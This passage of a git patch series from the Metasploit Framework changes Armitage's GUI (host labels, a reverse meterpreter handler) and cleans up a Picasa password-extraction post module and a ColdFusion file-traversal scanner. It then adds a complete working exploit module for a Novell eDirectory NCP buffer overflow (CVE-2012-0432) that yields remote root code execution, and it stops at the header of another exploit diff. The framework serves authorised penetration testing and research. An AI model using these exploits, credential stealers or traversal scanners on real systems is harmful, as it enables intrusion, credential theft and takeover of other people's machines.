+sub getHostLabel { + return iff($1 in %hosts, %hosts[$1]['label'], $null); +} + sub getSessions { return iff($1 in %hosts && 'sessions' in %hosts[$1], %hosts[$1]['sessions']); } @@ -122,7 +126,7 @@ on sessions { } if ($host['show'] eq "1") { - push(@nodes, @($id, describeHost($host), showHost($host), $tooltip)); + push(@nodes, @($id, $host['label'] . "", describeHost($host), showHost($host), $tooltip)); } } @@ -130,14 +134,14 @@ on sessions { } sub refreshGraph { - local('$node $id $description $icons $tooltip $highlight'); + local('$node $id $label $description $icons $tooltip $highlight'); # update everything... [$graph start]; # do the hosts? foreach $node (@nodes) { - ($id, $description, $icons, $tooltip) = $node; - [$graph addNode: $id, $description, $icons, $tooltip]; + ($id, $label, $description, $icons, $tooltip) = $node; + [$graph addNode: $id, $label, $description, $icons, $tooltip]; } # update the routes diff --git a/external/source/armitage/scripts/util.sl b/external/source/armitage/scripts/util.sl index ceed745950..de80e1d8d3 100644 --- a/external/source/armitage/scripts/util.sl +++ b/external/source/armitage/scripts/util.sl @@ -159,12 +159,15 @@ sub setg { } sub createDefaultHandler { - warn("Creating a default reverse handler..."); # setup a handler for meterpreter - setg("LPORT", randomPort()); + local('$port'); + $port = randomPort(); + setg("LPORT", $port); + warn("Creating a default reverse handler... 0.0.0.0: $+ $port"); call_async($client, "module.execute", "exploit", "multi/handler", %( PAYLOAD => "windows/meterpreter/reverse_tcp", LHOST => "0.0.0.0", + LPORT => $port, ExitOnSession => "false" )); } @@ -307,7 +310,12 @@ sub startMetasploit { savePreferences(); } - $handle = [SleepUtils getIOHandle: resource("resources/msfrpcd.bat"), $null]; + if ("*apps*pro*" iswm $msfdir) { + $handle = [SleepUtils getIOHandle: resource("resources/msfrpcd_new.bat"), $null]; + } + else { + $handle = [SleepUtils getIOHandle: resource("resources/msfrpcd.bat"), $null]; + } $data = join("\r\n", readAll($handle, -1)); closef($handle); @@ -416,7 +424,7 @@ sub connectDialog { [$dialog setVisible: 0]; connectToMetasploit($h, $p, $u, $s); - if ($h eq "127.0.0.1" || $h eq "localhost") { + if ($h eq "127.0.0.1" || $h eq "::1" || $h eq "localhost") { try { closef(connect("127.0.0.1", $p, 1000)); } diff --git a/external/source/armitage/scripts/workspaces.sl b/external/source/armitage/scripts/workspaces.sl index 90c1210b50..5a45900654 100644 --- a/external/source/armitage/scripts/workspaces.sl +++ b/external/source/armitage/scripts/workspaces.sl @@ -33,7 +33,7 @@ sub listWorkspaces { $dialog = [new JPanel]; [$dialog setLayout: [new BorderLayout]]; - ($table, $model) = setupTable("name", @("name", "hosts", "ports", "os", "session"), @()); + ($table, $model) = setupTable("name", @("name", "hosts", "ports", "os", "labels", "session"), @()); updateWorkspaceList($table, $model); [$table setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]]; @@ -88,15 +88,16 @@ sub workspaceDialog { local('$table $model'); ($table, $model) = $2; - local('$dialog $name $host $ports $os $button $session'); + local('$dialog $name $host $ports $os $button $session $label'); $dialog = dialog($title, 640, 480); - [$dialog setLayout: [new GridLayout: 6, 1]]; + [$dialog setLayout: [new GridLayout: 7, 1]]; $name = [new ATextField: $1['name'], 16]; [$name setEnabled: $enable]; $host = [new ATextField: $1['hosts'], 16]; $ports = [new ATextField: $1['ports'], 16]; $os = [new ATextField: $1['os'], 16]; + $label = [new ATextField: $1['labels'], 16]; $session = [new JCheckBox: "Hosts with sessions only"]; if ($1['session'] eq 1) { [$session setSelected: 1]; @@ -108,6 +109,7 @@ sub workspaceDialog { [$dialog add: label_for("Hosts:", 60, $host)]; [$dialog add: label_for("Ports:", 60, $ports)]; [$dialog add: label_for("OS:", 60, $os)]; + [$dialog add: label_for("Labels:", 60, $label)]; [$dialog add: $session]; [$dialog add: center($button)]; @@ -116,15 +118,16 @@ sub workspaceDialog { [$button addActionListener: lambda({ # yay, we have a dialog... - local('$n $h $p $o $s @workspaces $ws $temp'); + local('$n $h $p $o $s $l @workspaces $ws $temp'); $n = [[$name getText] trim]; $h = [strrep([$host getText], '*', '%', '?', '_') trim]; $p = [[$ports getText] trim]; $o = [strrep([$os getText], '*', '%', '?', '_') trim]; + $l = [[$label getText] trim]; $s = [$session isSelected]; # save the new menu - $ws = workspace($n, $h, $p, $o, $s); + $ws = workspace($n, $h, $p, $o, $s, $l); @workspaces = workspaces(); foreach $temp (@workspaces) { if ($temp["name"] eq $n) { @@ -140,7 +143,7 @@ sub workspaceDialog { updateWorkspaceList($table, $model); [$dialog setVisible: 0]; - }, \$dialog, \$host, \$ports, \$os, \$name, \$session, \$table, \$model)]; + }, \$dialog, \$host, \$ports, \$os, \$name, \$session, \$table, \$model, \$label)]; } sub reset_workspace { @@ -199,16 +202,16 @@ sub set_workspace { } sub workspace { - return ohash(name => $1, hosts => $2, ports => $3, os => $4, session => $5); + return ohash(name => $1, hosts => $2, ports => $3, os => $4, session => $5, labels => $6); } sub workspaces { - local('$ws @r $name $host $port $os $session $workspace'); + local('$ws @r $name $host $port $os $session $workspace $label'); $ws = split("!!", [$preferences getProperty: "armitage.workspaces.menus", ""]); foreach $workspace ($ws) { if ($workspace ne "") { - ($name, $host, $port, $os, $session) = split('@@', $workspace); - push(@r, workspace($name, $host, $port, $os, $session)); + ($name, $host, $port, $os, $session, $label) = split('@@', $workspace); + push(@r, workspace($name, $host, $port, $os, $session, $label)); } } return @r; diff --git a/external/source/armitage/src/armitage/ArmitageApplication.java b/external/source/armitage/src/armitage/ArmitageApplication.java index aec7602dd0..b7365e1309 100644 --- a/external/source/armitage/src/armitage/ArmitageApplication.java +++ b/external/source/armitage/src/armitage/ArmitageApplication.java @@ -196,6 +196,7 @@ public class ArmitageApplication extends JFrame { r.setLayout(new BorderLayout()); r.add(t.component, BorderLayout.CENTER); r.pack(); + t.component.validate(); r.addWindowListener(new WindowAdapter() { public void windowClosing(WindowEvent ev) { diff --git a/external/source/armitage/src/cortana/Loader.java b/external/source/armitage/src/cortana/Loader.java index a0a8a8c3c0..d5c76d836d 100644 --- a/external/source/armitage/src/cortana/Loader.java +++ b/external/source/armitage/src/cortana/Loader.java @@ -15,7 +15,7 @@ public class Loader implements Loadable { protected ScriptLoader loader; protected Hashtable shared = new Hashtable(); protected ScriptVariables vars = new ScriptVariables(); - protected Object[] passMe = new Object[2]; + protected Object[] passMe = new Object[3]; protected List scripts = new LinkedList(); public void unsetDebugLevel(int flag) { @@ -51,10 +51,11 @@ public class Loader implements Loadable { } } - public void passObjects(Object o, Object p) { + public void passObjects(Object o, Object p, Object q) { synchronized (this) { passMe[0] = o; passMe[1] = p; + passMe[2] = q; } } diff --git a/external/source/armitage/src/cortana/Main.java b/external/source/armitage/src/cortana/Main.java index be70944f5d..be04c511a3 100644 --- a/external/source/armitage/src/cortana/Main.java +++ b/external/source/armitage/src/cortana/Main.java @@ -69,7 +69,7 @@ public class Main implements Runnable, CortanaPipe.CortanaPipeListener { try { Object conns[] = setupConnections(host, port, user, pass, nick); //new MsgRpcImpl(user, pass, host, Integer.parseInt(port), true, false); - engine = new Cortana((RpcConnection)conns[0], (RpcConnection)conns[1], scripts, host); + engine = new Cortana((RpcConnection)conns[0], (RpcConnection)conns[1], scripts, (String)conns[2]); new Thread(this).start(); } catch (java.lang.RuntimeException rex) { diff --git a/external/source/armitage/src/graph/NetworkGraph.java b/external/source/armitage/src/graph/NetworkGraph.java index fa9b0e7eef..d15d67b3ac 100644 --- a/external/source/armitage/src/graph/NetworkGraph.java +++ b/external/source/armitage/src/graph/NetworkGraph.java @@ -453,17 +453,26 @@ public class NetworkGraph extends JComponent implements ActionListener { protected Map tooltips = new HashMap(); - public Object addNode(String id, String label, Image image, String tooltip) { + public Object addNode(String id, String label, String description, Image image, String tooltip) { nodeImages.put(id, image); + if (label.length() > 0) { + if (description.length() > 0) { + description += "\n" + label; + } + else { + description = label; + } + } + mxCell cell; if (!nodes.containsKey(id)) { - cell = (mxCell)graph.insertVertex(parent, id, label, 0, 0, 125, 97); + cell = (mxCell)graph.insertVertex(parent, id, description, 0, 0, 125, 97); nodes.put(id, cell); } else { cell = (mxCell)nodes.get(id); - cell.setValue(label); + cell.setValue(description); } nodes.touch(id); diff --git a/external/source/armitage/src/msf/DatabaseImpl.java b/external/source/armitage/src/msf/DatabaseImpl.java index ba7b330d59..ff00d4d877 100644 --- a/external/source/armitage/src/msf/DatabaseImpl.java +++ b/external/source/armitage/src/msf/DatabaseImpl.java @@ -14,11 +14,15 @@ public class DatabaseImpl implements RpcConnection { protected String workspaceid = "0"; protected String hFilter = null; protected String sFilter = null; + protected String[] lFilter = null; protected Route[] rFilter = null; protected String[] oFilter = null; protected int hindex = 0; protected int sindex = 0; + /* keep track of labels associated with each host */ + protected Map labels = new HashMap(); + /* define the maximum hosts in a workspace */ protected int maxhosts = 512; @@ -135,6 +139,20 @@ public class DatabaseImpl implements RpcConnection { return false; } + private boolean checkLabel(String host) { + if (!labels.containsKey(host)) + return false; + + String label_l = (labels.get(host) + "").toLowerCase(); + + for (int x = 0; x < lFilter.length; x++) { + if (label_l.indexOf(lFilter[x]) != -1) { + return true; + } + } + return false; + } + private boolean checkOS(String os) { String os_l = os.toLowerCase(); @@ -145,11 +163,76 @@ public class DatabaseImpl implements RpcConnection { return false; } + protected void loadLabels() { + try { + /* query database for label data */ + List rows = executeQuery("SELECT DISTINCT data FROM notes WHERE ntype = 'armitage.labels'"); + if (rows.size() == 0) + return; + + /* extract our BASE64 encoded data */ + String data = ((Map)rows.get(0)).get("data") + ""; + System.err.println("Read: " + data.length() + " bytes"); + + /* turn our data into raw data */ + byte[] raw = Base64.decode(data); + + /* deserialize our notes data */ + ByteArrayInputStream store = new ByteArrayInputStream(raw); + ObjectInputStream handle = new ObjectInputStream(store); + Map temp = (Map)(handle.readObject()); + handle.close(); + store.close(); + + /* merge with our new map */ + labels.putAll(temp); + } + catch (Exception ex) { + ex.printStackTrace(); + } + } + + protected void mergeLabels(Map l) { + /* accept any label values and merge them into our global data set */ + Iterator i = l.entrySet().iterator(); + while (i.hasNext()) { + Map.Entry entry = (Map.Entry)i.next(); + if ("".equals(entry.getValue())) { + labels.remove(entry.getKey() + ""); + } + else { + labels.put(entry.getKey() + "", entry.getValue() + ""); + } + } + } + + /* add labels to our hosts */ + public List addLabels(List rows) { + if (labels.size() == 0) + return rows; + + Iterator i = rows.iterator(); + while (i.hasNext()) { + Map entry = (Map)i.next(); + String address = (entry.containsKey("address") ? entry.get("address") : entry.get("host")) + ""; + if (labels.containsKey(address)) { + entry.put("label", labels.get(address) + ""); + } + else { + entry.put("label", ""); + } + } + + return rows; + } + public List filterByRoute(List rows, int max) { - if (rFilter != null || oFilter != null) { + if (rFilter != null || oFilter != null || lFilter != null) { Iterator i = rows.iterator(); while (i.hasNext()) { Map entry = (Map)i.next(); + + /* make sure the address is within a route we care about */ if (rFilter != null && entry.containsKey("address")) { if (!checkRoute(entry.get("address") + "")) { i.remove(); @@ -163,9 +246,26 @@ public class DatabaseImpl implements RpcConnection { } } + /* make sure the host is something we care about too */ if (oFilter != null && entry.containsKey("os_name")) { - if (!checkOS(entry.get("os_name") + "")) + if (!checkOS(entry.get("os_name") + "")) { i.remove(); + continue; + } + } + + /* make sure the host has the right label */ + if (lFilter != null && entry.containsKey("address")) { + if (!checkLabel(entry.get("address") + "")) { + i.remove(); + continue; + } + } + else if (lFilter != null && entry.containsKey("host")) { + if (!checkLabel(entry.get("host") + "")) { + i.remove(); + continue; + } } } @@ -180,6 +280,7 @@ public class DatabaseImpl implements RpcConnection { public void connect(String dbstring, String user, String password) throws Exception { db = DriverManager.getConnection(dbstring, user, password); setWorkspace("default"); + loadLabels(); } public Object execute(String methodName) throws IOException { @@ -192,8 +293,8 @@ public class DatabaseImpl implements RpcConnection { /* this is an optimization. If we have a network or OS filter, we need to pull back all host/service records and filter them here. If we do not have these types of filters, then we can let the database do the heavy lifting and limit the size of the final result there. */ - int limit1 = rFilter == null && oFilter == null ? maxhosts : 30000; - int limit2 = rFilter == null && oFilter == null ? maxservices : 100000; + int limit1 = rFilter == null && oFilter == null && lFilter == null ? maxhosts : 30000; + int limit2 = rFilter == null && oFilter == null && lFilter == null ? maxservices : 100000; temp.put("db.creds", "SELECT DISTINCT creds.*, hosts.address as host, services.name as sname, services.port as port, services.proto as proto FROM creds, services, hosts WHERE services.id = creds.service_id AND hosts.id = services.host_id AND hosts.workspace_id = " + workspaceid); @@ -235,7 +336,7 @@ public class DatabaseImpl implements RpcConnection { result.put(methodName.substring(3), filterByRoute(executeQuery(query), maxservices)); } else if (methodName.equals("db.hosts")) { - result.put(methodName.substring(3), filterByRoute(executeQuery(query), maxhosts)); + result.put(methodName.substring(3), addLabels(filterByRoute(executeQuery(query), maxhosts))); } else { result.put(methodName.substring(3), executeQuery(query)); @@ -332,6 +433,7 @@ public class DatabaseImpl implements RpcConnection { rFilter = null; oFilter = null; + lFilter = null; List hosts = new LinkedList(); List srvcs = new LinkedList(); @@ -385,6 +487,11 @@ public class DatabaseImpl implements RpcConnection { oFilter = (values.get("os") + "").toLowerCase().split(",\\s*"); } + /* label filter */ + if (values.containsKey("labels") && (values.get("labels") + "").length() > 0) { + lFilter = (values.get("labels") + "").toLowerCase().split(",\\s*"); + } + if (hosts.size() == 0) { hFilter = null; } @@ -406,6 +513,31 @@ public class DatabaseImpl implements RpcConnection { result.put("rows", new Integer(stmt.executeUpdate())); return result; } + else if (methodName.equals("db.report_labels")) { + /* merge out global label data */ + Map values = (Map)params[0]; + mergeLabels(values); + + /* delete our saved label data */ + executeUpdate("DELETE FROM notes WHERE notes.ntype = 'armitage.labels'"); + + /* serialize our notes data */ + ByteArrayOutputStream store = new ByteArrayOutputStream(labels.size() * 128); + ObjectOutputStream handle = new ObjectOutputStream(store); + handle.writeObject(labels); + handle.close(); + store.close(); + + String data = Base64.encode(store.toByteArray()); + + /* save our label data */ + PreparedStatement stmt = null; + stmt = db.prepareStatement("INSERT INTO notes (ntype, data) VALUES ('armitage.labels', ?)"); + stmt.setString(1, data); + stmt.executeUpdate(); + + return new HashMap(); + } else if (methodName.equals("db.report_host")) { Map values = (Map)params[0]; String host = values.get("host") + ""; diff --git a/external/source/armitage/src/msf/RpcCacheImpl.java b/external/source/armitage/src/msf/RpcCacheImpl.java index c28e037e91..4a1d7e85cb 100644 --- a/external/source/armitage/src/msf/RpcCacheImpl.java +++ b/external/source/armitage/src/msf/RpcCacheImpl.java @@ -106,6 +106,8 @@ public class RpcCacheImpl implements Runnable { key.append(temp.get("ports")); key.append(";"); key.append(temp.get("session")); + key.append(";"); + key.append(temp.get("labels")); return key.toString(); } diff --git a/external/source/armitage/src/table/NetworkTable.java b/external/source/armitage/src/table/NetworkTable.java index 014fed3a10..2d7590db0e 100644 --- a/external/source/armitage/src/table/NetworkTable.java +++ b/external/source/armitage/src/table/NetworkTable.java @@ -52,7 +52,7 @@ public class NetworkTable extends JComponent implements ActionListener { public NetworkTable(Properties display) { this.display = display; - model = new GenericTableModel(new String[] { " ", "Address", "Description", "Pivot" }, "Address", 256); + model = new GenericTableModel(new String[] { " ", "Address", "Label", "Description", "Pivot" }, "Address", 256); table = new ATable(model); TableRowSorter sorter = new TableRowSorter(model); sorter.toggleSortOrder(1); @@ -79,12 +79,13 @@ public class NetworkTable extends JComponent implements ActionListener { }; sorter.setComparator(1, hostCompare); - sorter.setComparator(3, hostCompare); + sorter.setComparator(4, hostCompare); table.setRowSorter(sorter); table.setColumnSelectionAllowed(false); table.getColumn("Address").setPreferredWidth(125); + table.getColumn("Label").setPreferredWidth(125); table.getColumn("Pivot").setPreferredWidth(125); table.getColumn(" ").setPreferredWidth(32); table.getColumn(" ").setMaxWidth(32); @@ -95,7 +96,7 @@ public class NetworkTable extends JComponent implements ActionListener { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) { JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col); - if (col == 3 && Boolean.TRUE.equals(model.getValueAt(table, row, "Active"))) { + if (col == 4 && Boolean.TRUE.equals(model.getValueAt(table, row, "Active"))) { component.setFont(component.getFont().deriveFont(Font.BOLD)); } else if (col == 1 && !"".equals(model.getValueAt(table, row, "Description"))) { @@ -252,16 +253,17 @@ public class NetworkTable extends JComponent implements ActionListener { public void addActionForKeySetting(String key, String dvalue, Action action) { } - public Object addNode(String id, String label, Image image, String tooltip) { + public Object addNode(String id, String label, String description, Image image, String tooltip) { if (id == null || label == null) return null; HashMap map = new HashMap(); map.put("Address", id); - if (label.indexOf(id) > -1) - label = label.substring(id.length()); - map.put("Description", label); + if (description.indexOf(id) > -1) + description = description.substring(id.length()); + map.put("Label", label); + map.put("Description", description); map.put("Tooltip", tooltip); map.put("Image", image); map.put(" ", tooltip); diff --git a/external/source/armitage/src/ui/ATable.java b/external/source/armitage/src/ui/ATable.java index bc1569659c..ce80216dbd 100644 --- a/external/source/armitage/src/ui/ATable.java +++ b/external/source/armitage/src/ui/ATable.java @@ -26,6 +26,12 @@ public class ATable extends JTable { specialitems.add("WORDLIST"); specialitems.add("SESSION"); specialitems.add("REXE"); + specialitems.add("EXE::Custom"); + specialitems.add("EXE::Template"); + specialitems.add("USERNAME"); + specialitems.add("PASSWORD"); + specialitems.add("SMBUser"); + specialitems.add("SMBPass"); return new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { diff --git a/external/source/armitage/src/ui/ZoomableImage.java b/external/source/armitage/src/ui/ZoomableImage.java index 346438e15e..466f2c56d3 100644 --- a/external/source/armitage/src/ui/ZoomableImage.java +++ b/external/source/armitage/src/ui/ZoomableImage.java @@ -54,6 +54,8 @@ public class ZoomableImage extends JLabel { check(ev); } }); + + setHorizontalAlignment(SwingConstants.CENTER); } protected void updateIcon() { diff --git a/external/source/armitage/whatsnew.txt b/external/source/armitage/whatsnew.txt index 5ea39884dd..c1e03e579b 100644 --- a/external/source/armitage/whatsnew.txt +++ b/external/source/armitage/whatsnew.txt @@ -1,6 +1,32 @@ Armitage Changelog ================== +23 Jan 13 (tested against msf 16351) +--------- +- Added helpers to set EXE::Custom and EXE::Template options. +- Fixed a bug displaying a Windows 8 icon for Windows 2008 hosts +- Cleaned up Armitage -> SOCKS Proxy job management code. The code to + check if a proxy server is up was deadlock prone. Removed it. +- Starting SOCKS Proxy module now opens a tab displaying the module + start process. An event is posted to the event log too. +- Created an option helper to select credentials for SMBUser, SMBPass, + USERNAME, and PASSWORD. +- Added a feature to label hosts. A label will show up in its own column + in table view or below all info in graph view. Any team member may + change a label through [host] -> host -> Set Label. You may also use + dynamic workspaces to show hosts with certain labels attached. +- Fixed bad things happening when connecting Armitage to 'localhost' and + not '127.0.0.1'. +- Screenshots and Webcam shots are now centered in their tab. +- Added an alternate .bat file to start msfrpcd on Windows in the + Metasploit 4.5 installer's environment. +- Added a color-style for [!] warning messages + +Cortana Updates (for scripters) +-------- +- &handler function now works as advertised. +- Cortana now avoids use of core.setg + 4 Jan 13 (tested against msf 16252) -------- - Added a helper to set REXE option From 933f8077450393465bb7e2d0244b5c06d75d0792 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Tue, 22 Jan 2013 23:53:00 -0600 Subject: [PATCH 22/87] Msftidy cleanup + handling return values better --- .../gather/credentials/enum_picasa_pwds.rb | 59 +++++++++---------- 1 file changed, 27 insertions(+), 32 deletions(-) diff --git a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb index 5ec210987d..8977cbcc5e 100644 --- a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb +++ b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb @@ -19,18 +19,18 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Gather Google Picasa Password Extractor', + 'Name' => 'Windows Gather Google Picasa Password Extractor', 'Description' => %q{ This module extracts and decrypts the login passwords stored by Google Picasa. }, - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ 'SecurityXploded Team', #www.SecurityXploded.com 'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>', ], - 'Platform' => [ 'win' ], + 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) end @@ -70,14 +70,12 @@ class Metasploit3 < Msf::Post end def get_registry - + begin print_status("Looking in registry for stored login passwords by Picasa ...") - username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", - 'GaiaEmail') - password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", - 'GaiaPass') + username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 'GaiaEmail') || '' + password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 'GaiaPass') || '' credentials = Rex::Ui::Text::Table.new( 'Header' => "Picasa Credentials", @@ -87,59 +85,56 @@ class Metasploit3 < Msf::Post "User", "Password" ]) - - + foundcreds = 0 - if username != nil and password != nil + if !username.empty? and !password.empty? passbin = [password].pack("H*") pass = decrypt_password(passbin) - if pass != nil + if pass and !pass.empty? print_status("Found Picasa 2 credentials.") - print_good("Username: #{username}\t Password: #{pass}") - + print_good("Username: #{username}\t Password: #{pass}") + foundcreds = 1 credentials << [username,pass] - end end #For early versions of Picasa3 - username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", - 'GaiaEmail') - password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", - 'GaiaPass') + username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", 'GaiaEmail') || '' + password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", 'GaiaPass') || '' - if username != nil and password != nil + if !username.empty? and !password.empty? passbin = [password].pack("H*") pass = decrypt_password(passbin) - if pass != nil + if pass and !pass.empty? print_status("Found Picasa 3 credentials.") - print_good("Username: #{username}\t Password: #{pass}") + print_good("Username: #{username}\t Password: #{pass}") foundcreds = 1 credentials << [username,pass] end end - + if foundcreds == 1 path = store_loot( - "picasa.creds", - "text/csv", - session, - credentials.to_csv, - "decrypted_picasa_data.csv", - "Decrypted Picasa Passwords") + "picasa.creds", + "text/csv", + session, + credentials.to_csv, + "decrypted_picasa_data.csv", + "Decrypted Picasa Passwords" + ) print_status("Decrypted passwords saved in: #{path}") - else + else print_status("No Picasa credentials found.") end rescue ::Exception => e - print_error("An error has occurred: #{e.to_s}") + print_error("An error has occurred: #{e.to_s}") end end From 5cfabb0443df2a2ae5d1d2a849a2100b7f8f57c9 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Wed, 23 Jan 2013 00:15:09 -0600 Subject: [PATCH 23/87] Apply the changes I suggested before --- .../http/coldfusion_locale_traversal.rb | 22 ++++++++----------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb index 06874e30c7..caa4201756 100644 --- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb +++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb @@ -49,8 +49,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('FILE', [ false, 'File to retrieve (make sure path/file match OS (ie, /etc/passwd on Windows == dumb))', '']), - OptBool.new('FINGERPRINT', [true, 'Only fingerprint endpoints', false]), + OptString.new('FILE', [ false, 'File to retrieve', '']), + OptBool.new('FINGERPRINT', [true, 'Only fingerprint endpoints', false]) ], self.class) end @@ -115,7 +115,8 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET', 'Connection' => "keep-alive", 'Accept-Encoding' => "zip,deflate", - }, 10) + }) + return if not res or not res.body or not res.code if (res.code.to_i == 200) @@ -172,19 +173,19 @@ class Metasploit3 < Msf::Auxiliary 'Connection' => "keep-alive", 'Accept-Encoding' => "zip,deflate", }, - }, -1) + }) if (res.nil?) print_error("no response for #{ip}:#{rport} #{url}") elsif (res.code == 200) #print_error("#{res.body}")#debug - out << "URL: #{ip}#{url}#{locale}#{trav}\n" - if match = res.body.match(/\<title\>(.*)\<\/title\>/im) + print_status("URL: #{ip}#{url}#{locale}#{trav}") + if res.body.match(/\<title\>(.*)\<\/title\>/im) fileout = $1 if(fileout !~ /Login$/ and fileout !~ /^Welcome to ColdFusion/ and fileout !~ /^Archives and Deployment/) - out << "#{ip} FILE:\n#{fileout}\r\n" - break + print_good("#{ip} FILE: #{fileout}") + break end end else @@ -192,11 +193,6 @@ class Metasploit3 < Msf::Auxiliary print_error("#{ip} #{res.inspect}") end end - if(out =~ /FILE/) - print_good(out) - else - print_status(out) - end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError rescue ::Timeout::Error, ::Errno::EPIPE From 9c9a0d1664f16e626943811414aa6a1253fc7f45 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Wed, 23 Jan 2013 10:51:29 +0100 Subject: [PATCH 24/87] Added module for cve-2012-0432 --- .../linux/misc/novell_edirectory_ncp_bof.rb | 133 ++++++++++++++++++ 1 file changed, 133 insertions(+) create mode 100644 modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb new file mode 100644 index 0000000000..12a79339b6 --- /dev/null +++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb @@ -0,0 +1,133 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell eDirectory Buffer Overflow', + 'Description' => %q{ + This exploit abuses a buffer overflow vulnerability in Novell eDirectory. The + vulnerability exists in the ndsd daemon, specifically in the NCP service, while + parsing a specially crafted Keyed Object Login request. It allows remote code + execution with root privileges. + }, + 'Author' => + [ + 'David Klein', # Vulnerability Discovery + 'Gary Nilson', # Exploit + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-0432'], + [ 'OSVDB', '88718'], + [ 'BID', '57038' ], + [ 'EDB', '24205' ], + [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=3426981' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jan/97' ] + ], + 'DisclosureDate' => 'Dec 12 2012', + 'Platform' => 'linux', + 'Privileged' => true, + 'Arch' => ARCH_X86, + 'Payload' => + { + + }, + 'Targets' => + [ + [ 'Novell eDirectory 8.8.7 v20701.33/ SLES 10 SP3', + { + 'Ret' => 0x080a4697, # jmp esi from ndsd + 'Offset' => 58 + } + ] + ], + 'DefaultTarget' => 0 + )) + + register_options([Opt::RPORT(524),], self.class) + end + + def check + connect + sock.put(connection_request) + res = sock.get + disconnect + if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 + # res[8,2] => Reply Type + # res[15,1] => Connection Status + return Exploit::CheckCode::Safe + end + return Exploit::CheckCode::Detected + end + + def connection_request + pkt = "\x44\x6d\x64\x54" # NCP TCP id + pkt << "\x00\x00\x00\x17" # request_size + pkt << "\x00\x00\x00\x01" # version + pkt << "\x00\x00\x00\x00" # reply buffer size + pkt << "\x11\x11" # cmd => create service connection + pkt << "\x00" # sequence number + pkt << "\x00" # connection number + pkt << "\x00" # task number + pkt << "\x00" # reserved + pkt << "\x00" # request code + + return pkt + end + + def exploit + + connect + + print_status("Sending Service Connection Request...") + sock.put(connection_request) + res = sock.get + if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 + # res[8,2] => Reply Type + # res[15,1] => Connection Status + fail_with(Exploit::Failure::UnexpectedReply, "Service Connection failed") + end + print_good("Service Connection successful") + + pkt = "\x44\x6d\x64\x54" # NCP TCP id + pkt << "\x00\x00\x00\x00" # request_size (filled later) + pkt << "\x00\x00\x00\x01" # version (1) + pkt << "\x00\x00\x00\x05" # reply buffer size + pkt << "\x22\x22" # cmd + pkt << "\x01" # sequence number + pkt << res[11] # connection number + pkt << "\x00" # task number + pkt << "\x00" # reserved + pkt << "\x17" # Login Object FunctionCode (23) + pkt << "\x00\xa7" # SubFuncStrucLen + pkt << "\x18" # SubFunctionCode + pkt << "\x90\x90" # object type + pkt << "\x50" # ClientNameLen + pkt << rand_text(7) + jmp_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{target['Offset'] + 4}").encode_string + pkt << jmp_payload # first byte is the memcpy length, must be bigger than 62 to to overwrite EIP + pkt << rand_text(target['Offset'] - jmp_payload.length) + pkt << [target.ret].pack("V") + pkt << payload.encoded + + pkt[4,4] = [pkt.length].pack("N") + + print_status("Sending Overflow on Keyed Object Login...") + sock.put(pkt) + sock.get + disconnect + end + +end From 17d1c9f996de1bd4c7e674635f0be4a507216895 Mon Sep 17 00:00:00 2001 From: Kacper Nowak <kacper.p.nowak@gmail.com> Date: Wed, 23 Jan 2013 10:29:11 +0000 Subject: [PATCH 25/87] - expanded description - updated references --- .../multi/http/movabletype_upgrade_exec.rb | 38 ++++++++----------- 1 file changed, 16 insertions(+), 22 deletions(-) diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb 